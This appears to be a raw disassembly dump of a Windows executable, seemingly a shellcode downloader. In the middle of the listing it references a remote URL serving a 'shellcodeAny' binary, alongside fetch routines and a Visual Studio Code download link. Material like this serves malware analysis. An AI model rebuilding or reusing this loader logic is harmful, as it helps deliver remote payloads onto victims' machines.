movaps xmmword [rsp + 0x880], xmm0
mov rax, qword [rsp + 0x4a8]
mov qword [rsp + 0x4d0], rax
movups xmm0, xmmword [rsp + 0x488]
movups xmm1, xmmword [rsp + 0x498]
movaps xmmword [rsp + 0x4c0], xmm1
movaps xmmword [rsp + 0x4b0], xmm0
movaps xmmword [rsp + 0x500], xmm1
movaps xmmword [rsp + 0x4f0], xmm0
lea rcx, [rsp + 0x4d1]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
lea rdx, [rsp + 0x511]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
mov byte [rsp + 0x510], 1
lea rcx, [rsp + 0x548]
lea rdx, [rsp + 0x880]
lea r8, [rsp + 0x4f0]
call fcn.1400d1f80
cmp al, 2
je 0x14004fad9
mov r8d, 0x118
lea rcx, [rsp + 0x8c8]
mov rdx, r15
call fcn.140116da0
jmp 0x14004db8c
test r8, r8
je 0x14004d4d9
lea rax, [rbx + r8]
mov rdx, rbx
jmp 0x14004df4c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
mov rdx, rcx
cmp rcx, rax
je 0x14004d4d9
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14004df40
cmp r9b, 0xe0
jb 0x14004df35
cmp r9b, 0xed
jne 0x14004df8e
cmp rcx, rax
je 0x14004d4d9
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14004d4d9
cmp byte [rdx + 1], 0x9f
ja 0x14004d58c
add rdx, 3
mov rcx, rdx
jmp 0x14004df40
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14004df40
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14004df40
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
test rbp, rbp
jne 0x14004d591
jmp 0x14004d5a2
mov rcx, rsi
call fcn.14011cb10
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r14 + 0x10], rcx
je 0x14004de39
nop word cs:[rax + rax]
cmp rax, 2
jne 0x14004fa63
xor eax, eax
xchg qword [r14 + 0x10], rax
jmp 0x14004cb50
mov rax, qword [rsp + 0x288]
mov rcx, qword [rsp + 0x290]
call qword [rax + 0x18]
lea rcx, [rsp + 0x40]
call fcn.1400fd9d0
mov rax, qword [rsp + 0x60]
test sil, sil
jne 0x14004f41b
test rax, rax
je 0x14004e058
mov rcx, qword [rsp + 0x68]
call qword [rax + 0x18]
cmp dword [rsp + 0x440], 2
mov rsi, qword [rsp + 0x258]
je 0x14004ca70
lea rcx, [rsp + 0x440]
call fcn.14004fe90
jmp 0x14004ca70
mov rcx, qword [rsp + 0x4d8]
mov rcx, qword [rcx + 8]
lock inc qword [rcx]
jle 0x14004f96c
mov qword [rsp + 0x440], 0
mov qword [rsp + 0x448], rcx
mov qword [rsp + 0x450], 0
mov qword [rsp + 0x458], rax
xorps xmm0, xmm0
lea rax, [rsp + 0x460]
movups xmmword [rax], xmm0
mov qword [rsp + 0x470], 8
mov qword [rsp + 0x478], 0
mov qword [rsp + 0x480], rsi
mov rax, qword [rsp + 0x440]
mov rcx, qword [rsp + 0x448]
mov rdx, qword [rsp + 0x450]
mov r8, qword [rsp + 0x458]
movups xmm1, xmmword [rsp + 0x460]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], r8
movaps xmmword [rsp + 0x60], xmm1
mov rax, qword [rsp + 0x470]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x478]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x40], 0
jne 0x14004fca8
cmp qword [rsp + 0x50], 0
jne 0x14004fceb
mov qword [rsp + 0x50], 0xffffffffffffffff
mov r14, qword [rsp + 0x58]
mov qword [rsp + 0x58], 0
test r14, r14
je 0x14004fcf7
mov qword [rsp + 0x50], 0
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x130]
cmp eax, 1
je 0x14004e1e4
test eax, eax
jne 0x14004fd96
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xe0]
lea rdx, [0x140101f60]
call fcn.1400e3a60
mov byte [rsi + 0x130], 1
lea r12, [rsp + 0x48]
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x118]
mov qword [rsp + 0x88], rcx
lea rcx, [rsp + 0x40]
mov qword [rax + 0x118], rcx
mov rax, qword [rsp + 0x48]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x14015da40]
mov qword [rsp + 0x488], rdx
mov qword [rsp + 0x490], rcx
lea rcx, [rsp + 0x488]
mov qword [rsp + 0x4f0], rcx
mov qword [rsp + 0x4f8], rcx
mov qword [rsp + 0x500], 0
xorps xmm6, xmm6
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x14004f1d0
cmp qword [rsp + 0x50], 0
jne 0x14004fb32
mov qword [rsp + 0x50], 0xffffffffffffffff
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14004e2b0
call fcn.14004fdd0
mov rax, qword [rsp + 0x50]
inc rax
jmp 0x14004e2b2
xor eax, eax
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], rax
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x130]
cmp eax, 1
lea rbx, [rsp + 0x2a8]
je 0x14004e316
mov cl, 2
test eax, eax
jne 0x14004e344
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xe0]
lea rdx, [0x140101f60]
call fcn.1400e3a60
mov byte [rsi + 0x130], 1
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ecx, byte [rax + 0x12c]
movzx edx, byte [rax + 0x12d]
mov byte [rsp + 0x3f], dl
mov word [rax + 0x12c], 0x8001
movzx eax, byte [rsp + 0x250]
test eax, eax
mov byte [rsp + 0x3d], cl
je 0x14004e3d0
cmp eax, 3
jne 0x14004fa19
movzx eax, byte [rsp + 0x248]
test eax, eax
je 0x14004ea88
cmp eax, 3
jne 0x14004fb02
nop word cs:[rax + rax]
cmp dword [rsp + 0x110], 2
jne 0x14004ee85
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x118], 0
test rax, rax
je 0x14004f9b1
mov qword [rsp + 0x520], 3
mov qword [rsp + 0x528], rax
jmp 0x14004e580
mov qword [rsp + 0x2a8], rbp
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], 8
movups xmmword [rsp + 0x2c0], xmm6
mov rcx, rbx
call fcn.1400ed810
mov qword [rsp + 0x2a8], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rsp + 0x2a8]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14004fc6a
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rsp + 0x520], rcx
mov qword [rsp + 0x528], 0
mov qword [rsp + 0x640], r15
lea rax, [0x14000c030]
mov qword [rsp + 0x648], rax
lea rax, [0x14014ca38]
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 2
mov qword [rsp + 0x2c8], 0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2c0], 1
mov rcx, rbx
call fcn.1400ed810
mov qword [rsp + 0x2a8], rbp
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], 8
movups xmmword [rsp + 0x2c0], xmm6
mov rcx, rbx
call fcn.1400ed810
mov qword [rsp + 0x2a8], rbp
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], 8
movups xmmword [rsp + 0x2c0], xmm6
mov rcx, rbx
call fcn.1400ed810
mov ecx, 5
call fcn.1400e4db0
jmp 0x14004ea80
mov r8d, 0x98
lea rcx, [rsp + 0x8c8]
mov rdx, r15
call fcn.140116da0
cmp dword [rsp + 0x110], 2
jne 0x14004e620
mov r14, qword [rsp + 0x118]
test r14, r14
je 0x14004e8d1
mov rsi, qword [r14 + 0x58]
test rsi, rsi
je 0x14004e5ea
mov rdi, qword [r14 + 0x60]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14004e5ea
cmp qword [rdi + 0x10], 0x11
jb 0x14004e5d9
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rax, qword [r14]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004e8c0
test rax, rax
je 0x14004e8c0
mov r8, qword [r14 + 8]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x14004e8c0
cmp byte [rsp + 0x208], 0xa
jb 0x14004e64b
cmp qword [rsp + 0x218], 0
je 0x14004e64b
mov r8, qword [rsp + 0x210]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x198], 0
je 0x14004e66c
mov r8, qword [rsp + 0x1a0]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x188], 0
je 0x14004e68d
mov r8, qword [rsp + 0x180]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rdi, qword [rsp + 0x160]
test rdi, rdi
je 0x14004e6f0
mov rsi, qword [rsp + 0x158]
add rsi, 0x30
jmp 0x14004e6cb
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x68
dec rdi
je 0x14004e6f0
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14004e6b0
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
jmp 0x14004e6b0
cmp qword [rsp + 0x150], 0
je 0x14004e711
mov r8, qword [rsp + 0x158]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rdi, qword [rsp + 0x178]
test rdi, rdi
je 0x14004e74b
mov rsi, qword [rsp + 0x170]
add rsi, 0x38
nop word [rax + rax]
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rdi
jne 0x14004e730
cmp qword [rsp + 0x168], 0
je 0x14004e76c
mov r8, qword [rsp + 0x170]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x110], 0
je 0x14004e79f
mov rax, qword [rsp + 0x118]
test rax, rax
je 0x14004e79f
mov rdx, qword [rsp + 0x120]
mov r8, qword [rsp + 0x128]
lea rcx, [rsp + 0x130]
call qword [rax + 0x10]
mov rsi, qword [rsp + 0x200]
test rsi, rsi
je 0x14004e7f0
mov rdi, qword [rsp + 0x1f8]
add rdi, 8
jmp 0x14004e7c9
add rdi, 0x58
dec rsi
je 0x14004e7f0
cmp qword [rdi - 8], 0
je 0x14004e7c0
mov r8, qword [rdi]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x14004e7c0
cmp qword [rsp + 0x1f0], 0
je 0x14004e811
mov r8, qword [rsp + 0x1f8]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rax, qword [rsp + 0x220]
lock dec qword [rax]
jne 0x14004e82c
lea rcx, [rsp + 0x220]
call fcn.1400419d0
mov rsi, qword [rsp + 0x228]
mov rdi, qword [rsp + 0x230]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14004e864
cmp qword [rdi + 0x10], 0x11
jb 0x14004e853
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov r14, qword [rsp + 0x240]
test r14, r14
je 0x14004e8d1
mov rcx, r14
call fcn.1401029b0
lea rcx, [r14 + 8]
cmp qword [r14], 0
je 0x14004e8a0
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14004e8b0
call fcn.140043390
jmp 0x14004e8b0
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14004e8b0
call fcn.1400432d0
nop
mov rax, qword [r14 + 0x48]
test rax, rax
je 0x14004e8c0
mov rcx, qword [r14 + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapFree
cmp dword [rsp + 0x8c8], 3
jne 0x14004e940
mov qword [rsp + 0x520], rbp
mov qword [rsp + 0x528], 1
mov qword [rsp + 0x530], 8
movups xmmword [rsp + 0x538], xmm6
mov rcx, r15
call fcn.1400ed810
mov ecx, 3
call fcn.1400e4db0
lea rcx, [rsp + 0x8c8]
call fcn.1400503d0
mov r14, qword [rsp + 0x108]
movabs rdi, 0x8000000000000000
jmp 0x14004eaac
mov qword [rsp + 0x520], rbp
mov qword [rsp + 0x528], 1
mov qword [rsp + 0x530], 8
movups xmmword [rsp + 0x538], xmm6
mov rcx, r15
call fcn.1400ed810
lea rcx, [rsp + 0x8c8]
call fcn.1400503d0
mov rax, qword [rsp + 0x108]
lock dec qword [rax]
lea rbx, [rsp + 0x2a8]
jne 0x14004e9a0
lea rcx, [rsp + 0x108]
call fcn.1400419d0
mov byte [rsp + 0x248], 1
lea rsi, [0x14014cac3]
mov rcx, rsi
lea rdx, str.https:__fud_coder.com_uf_shellcodeAny_20241014060521261.binREQWEST_URL
call fcn.1400e9c80
mov r8d, 0xb
mov rcx, rbx
mov rdx, rsi
call fcn.1400e8600
mov rdi, qword [rsp + 0x2a8]
movabs rax, 0x8000000000000000
cmp rdi, rax
jne 0x14004ea00
movabs rdi, 0x8000000000000000
jmp 0x14004ea80
mov rsi, qword [rsp + 0x2b0]
mov r8, qword [rsp + 0x2b8]
cmp byte [rsp + 0x2c0], 0
je 0x14004f030
mov r14, r12
mov rcx, r15
mov rdx, rsi
call fcn.140003520
mov r12, qword [rsp + 0x520]
movabs rax, 0x8000000000000000
cmp r12, rax
jne 0x14004eee0
mov ecx, 5
call fcn.1400e4db0
test rdi, rdi
movabs rdi, 0x8000000000000000
mov r12, r14
lea rbx, [rsp + 0x2a8]
je 0x14004ea80
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
nop dword [rax]
mov byte [rsp + 0x248], 0
mov rcx, rbx
call fcn.1400c93d0
mov rcx, rbx
call fcn.1400c9dc0
mov r14, rdx
test rax, rax
jne 0x14004fb67
mov qword [rsp + 0x108], r14
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xe0], 0
mov r9d, 0x26
lea rcx, [rsp + 0x7e0]
lea rdx, [rsp + 0xd0]
lea r8, str.https:__code.visualstudio.com_downloadTime:
call fcn.140105d90
mov rsi, qword [rsp + 0x7e0]
cmp rsi, rdi
jne 0x14004eb70
movzx ebx, byte [rsp + 0x7e8]
movzx eax, byte [0x140194310]
mov edx, 1
xor ecx, ecx
call fcn.1400eed30
test rax, rax
je 0x14004f9c9
mov rsi, rax
mov byte [rax], bl
movzx eax, byte [0x140194310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400eed30
test rax, rax
je 0x14004f9a2
mov qword [rax], rdi
mov qword [rax + 0x58], rsi
lea rcx, [0x1401544d0]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
jmp 0x14004edb6
mov rdi, qword [rsp + 0x7e8]
lea rdx, [rsp + 0x7f0]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0xb0], xmm1
movaps xmmword [rsp + 0xc0], xmm2
movzx eax, byte [rsp + 0x820]
mov rcx, qword [rdx + 0x40]
mov qword [rsp + 0x4bf], rcx
movups xmm0, xmmword [rdx + 0x31]
movaps xmmword [rsp + 0x4b0], xmm0
test al, al
je 0x14004ed30
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmm1, xmmword [rsp + 0xb0]
movaps xmm2, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x800], xmm2
movaps xmmword [rsp + 0x7f0], xmm1
movaps xmmword [rsp + 0x7e0], xmm0
movaps xmm0, xmmword [rsp + 0x4b0]
movaps xmmword [rsp + 0xd0], xmm0
mov rcx, qword [rsp + 0x4bf]
mov qword [rsp + 0xdf], rcx
movups xmmword [r13 + 0x40], xmm6
mov dword [r13 + 0xe4], 0
mov dword [r13 + 0xe1], 0
mov qword [rsp + 0x668], 0
mov qword [rsp + 0x680], 0
mov qword [rsp + 0x688], 8
mov qword [rsp + 0x6a0], 8
mov qword [rsp + 0x6a8], 0
mov qword [rsp + 0x6b0], 2
mov qword [rsp + 0x6b8], 0
mov word [rsp + 0x6c0], 0
mov qword [rsp + 0x6c8], rsi
mov qword [rsp + 0x6d0], rdi
movaps xmm0, xmmword [rsp + 0x7e0]
movaps xmm1, xmmword [rsp + 0x7f0]
movaps xmm2, xmmword [rsp + 0x800]
movups xmmword [r13 + 0xa8], xmm2
movups xmmword [r13 + 0x98], xmm1
movups xmmword [r13 + 0x88], xmm0
mov byte [rsp + 0x708], al
mov rax, qword [rsp + 0xdf]
mov qword [r13 + 0xc8], rax
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [r13 + 0xb9], xmm0
mov dword [rsp + 0x728], 0x3b9aca00
mov byte [rsp + 0x730], 1
movups xmmword [r13 + 0xe8], xmm6
mov byte [rsp + 0x748], 2
xor eax, eax
movabs rdi, 0x8000000000000000
jmp 0x14004edc3
movzx eax, byte [0x140194310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400eed30
test rax, rax
je 0x14004f9a2
mov qword [rax + 0x58], 1
lea rcx, [0x140154728]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
mov qword [rax], rsi
mov qword [rax + 8], rdi
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmm1, xmmword [rsp + 0xb0]
movaps xmm2, xmmword [rsp + 0xc0]
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm2
mov byte [rax + 0x40], 0
movaps xmm0, xmmword [rsp + 0x4b0]
movups xmmword [rax + 0x41], xmm0
mov rcx, qword [rsp + 0x4bf]
mov qword [rax + 0x50], rcx
movabs rdi, 0x8000000000000000
mov qword [rsp + 0x648], rax
mov eax, 2
mov qword [rsp + 0x640], rax
lock inc qword [r14]
jle 0x14004f96c
mov rcx, r15
mov rdx, r14
lea r8, [rsp + 0x640]
call fcn.1400d1b20
cmp dword [rsp + 0x520], 2
jne 0x14004ee30
mov qword [rsp + 0x2a8], 2
mov rax, qword [rsp + 0x528]
mov rsi, qword [rsp + 0x630]
mov qword [rsp + 0x2b0], rax
lea rbx, [rsp + 0x2a8]
lock dec qword [rsi]
je 0x14004ee54
jmp 0x14004ee61
mov rsi, qword [rsp + 0x630]
lea rbx, [rsp + 0x2a8]
mov rcx, rbx
mov rdx, rsi
mov r8, r15
call fcn.1400cc2d0
lock dec qword [rsi]
jne 0x14004ee61
lea rcx, [rsp + 0x630]
call fcn.14007ad00
mov r8d, 0x138
lea rcx, [rsp + 0x110]
mov rdx, rbx
call fcn.140116da0
cmp dword [rsp + 0x110], 2
je 0x14004e38e
mov rcx, r15
lea rdx, [rsp + 0x110]
lea r8, [rsp + 0x4f0]
call fcn.1400ce2a0
cmp qword [rsp + 0x520], 4
jne 0x14004e580
mov byte [rsp + 0x248], 3
mov bl, 3
mov sil, 1
mov byte [rsp + 0x250], bl
movzx edx, byte [rsp + 0x3d]
cmp dl, 2
jne 0x14004f0f0
jmp 0x14004f172
mov qword [rsp + 0x98], rsi
mov r15, qword [rsp + 0x528]
mov rbx, qword [rsp + 0x530]
call fcn.140003a10
call fcn.1400016d0
mov rsi, rax
and eax, 3
cmp eax, 1
jne 0x14004ef69
mov qword [rsp + 0x90], rbx
mov rbx, qword [rsi - 1]
mov rbp, qword [rsi + 7]
mov rcx, rbx
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x14004ef46
cmp qword [rbp + 0x10], 0x11
jb 0x14004ef35
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
dec rsi
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
lea rbp, [0x14014c9f8]
mov rbx, qword [rsp + 0x90]
lea rcx, [rsp + 0x2a8]
call fcn.140001a90
cmp qword [rsp + 0x2a8], 0
je 0x14004ef94
mov rcx, qword [rsp + 0x2b0]
test rcx, rcx
je 0x14004ef94
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400e4db0
call fcn.140004830
mov qword [rsp + 0x2a8], rbp
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], 8
movups xmmword [rsp + 0x2c0], xmm6
lea rcx, [rsp + 0x2a8]
call fcn.1400ed810
mov rcx, r15
mov rdx, rbx
call fcn.1400015e0
test r12, r12
je 0x14004eff9
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, r15
call sub.kernel32.dll_HeapFree
mov bl, 1
test rdi, rdi
mov r12, r14
je 0x14004f0c7
mov rcx, qword [0x140194260]
xor esi, esi
xor edx, edx
mov r8, qword [rsp + 0x98]
call sub.kernel32.dll_HeapFree
jmp 0x14004f0c9
test r8, r8
je 0x14004ea1e
lea rax, [rsi + r8]
mov rdx, rsi
jmp 0x14004f05c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp rcx, rax
je 0x14004ea1e
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14004f050
cmp r9b, 0xe0
jb 0x14004f042
cmp r9b, 0xed
jne 0x14004f09e
cmp rcx, rax
je 0x14004ea1e
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14004ea1e
cmp byte [rdx + 1], 0x9f
ja 0x14004f1b1
add rdx, 3
mov rcx, rdx
jmp 0x14004f050
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14004f050
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14004f050
xor esi, esi
movabs rdi, 0x8000000000000000
lea r15, [rsp + 0x520]
mov byte [rsp + 0x250], bl
movzx edx, byte [rsp + 0x3d]
cmp dl, 2
je 0x14004f172
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x130]
cmp eax, 1
je 0x14004f14e
test eax, eax
jne 0x14004f172
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xe0]
mov ebx, edx
lea rdx, [0x140101f60]
call fcn.1400e3a60
mov edx, ebx
mov byte [rdi + 0x130], 1
movabs rdi, 0x8000000000000000
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x12c], dl
movzx ecx, byte [rsp + 0x3f]
mov byte [rax + 0x12d], cl
cmp qword [rsp + 0x50], 0
jne 0x14004fb0e
mov qword [rsp + 0x50], 0xffffffffffffffff
mov r14, qword [rsp + 0x58]
mov qword [rsp + 0x58], 0
test r14, r14
je 0x14004fb1a
mov qword [rsp + 0x50], 0
test sil, sil
jne 0x14004f1d0
jmp 0x14004f49a
test rdi, rdi
movabs rdi, 0x8000000000000000
jne 0x14004ea6b
jmp 0x14004ea80
mov r8, qword [rsp + 0x48]
mov esi, dword [r8 + 0x40]
test esi, esi
je 0x14004f3ab
nop word cs:[rax + rax]
cmp byte [r14 + 0x68], 0
jne 0x14004f448
inc dword [r14 + 0x60]
mov rdx, qword [rsp + 0x48]
add rdx, 0x10
mov rcx, r14
call fcn.1400fb6e0
test rax, rax
je 0x14004f3e0
cmp qword [rsp + 0x50], 0
jne 0x14004fb32
mov r15, rax
mov qword [rsp + 0x50], 0xffffffffffffffff
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14004f250
call fcn.14004fdd0
mov rax, qword [rsp + 0x50]
inc rax
jmp 0x14004f252
xor eax, eax
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], rax
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x130]
cmp eax, 1
je 0x14004f2ae
mov bl, 2
test eax, eax
jne 0x14004f2d8
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xe0]
lea rdx, [0x140101f60]
call fcn.1400e3a60
mov byte [rdi + 0x130], 1
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x12c]
movzx edi, byte [rax + 0x12d]
mov word [rax + 0x12c], 0x8001
mov rax, qword [r15 + 0x10]
mov rcx, r15
call qword [rax]
cmp bl, 2
lea r15, [rsp + 0x520]
je 0x14004f35f
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x130]
cmp eax, 1
je 0x14004f33f
test eax, eax
jne 0x14004f35f
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xe0]
lea rdx, [0x140101f60]
call fcn.1400e3a60
mov byte [r14 + 0x130], 1
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x12c], bl
mov byte [rax + 0x12d], dil
cmp qword [rsp + 0x50], 0
jne 0x14004fb0e
mov qword [rsp + 0x50], 0xffffffffffffffff
mov r14, qword [rsp + 0x58]
mov qword [rsp + 0x58], 0
test r14, r14
movabs rdi, 0x8000000000000000
je 0x14004fb1a
mov qword [rsp + 0x50], 0
dec esi
jne 0x14004f1f0
mov r8, qword [rsp + 0x48]
add r8, 0x10
mov rcx, r12
mov rdx, r14
call fcn.1400fbd10
mov r14, rax
mov rax, qword [rsp + 0x48]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
jne 0x14004e275
jmp 0x14004f1d0
movabs rax, 0x7fffffffffffffff
cmp qword [rsp + 0x60], rax
jae 0x14004fd8a
mov r8, qword [rsp + 0x48]
add r8, 0x10
cmp qword [rsp + 0x78], 0
lea r15, [rsp + 0x520]
jne 0x14004f3af
mov rcx, r12
mov rdx, r14
call fcn.1400fb7c0
jmp 0x14004f3ba
test rax, rax
je 0x14004f428
mov rcx, qword [rsp + 0x68]
call qword [rax + 0x18]
cmp dword [rsp + 0x440], 2
je 0x14004f4f1
lea rcx, [rsp + 0x440]
call fcn.14004fe90
jmp 0x14004f4f1
cmp qword [rsp + 0x50], 0
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rsp + 0x88]
mov qword [rax + 0x118], rcx
jne 0x14004fd7e
xor esi, esi
mov qword [rsp + 0x50], 0xffffffffffffffff
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14004f4d2
call fcn.14004fdd0
mov rax, qword [rsp + 0x50]
inc rax
jmp 0x14004f4d4
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rsp + 0x88]
mov qword [rax + 0x118], rcx
mov sil, 1
mov qword [rsp + 0x50], 0xffffffffffffffff
mov rcx, qword [rsp + 0x58]
test rcx, rcx
jne 0x14004f48b
xor eax, eax
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x40]
call fcn.14004fe90
test sil, sil
je 0x14004fd0f
movsd xmm6, qword [rsp + 0x278]
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x130]
cmp eax, 1
je 0x14004f54e
test eax, eax
jne 0x14004fd55
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xe0]
lea rdx, [0x140101f60]
call fcn.1400e3a60
mov byte [rsi + 0x130], 1
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x12e], 2
je 0x14004fc52
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
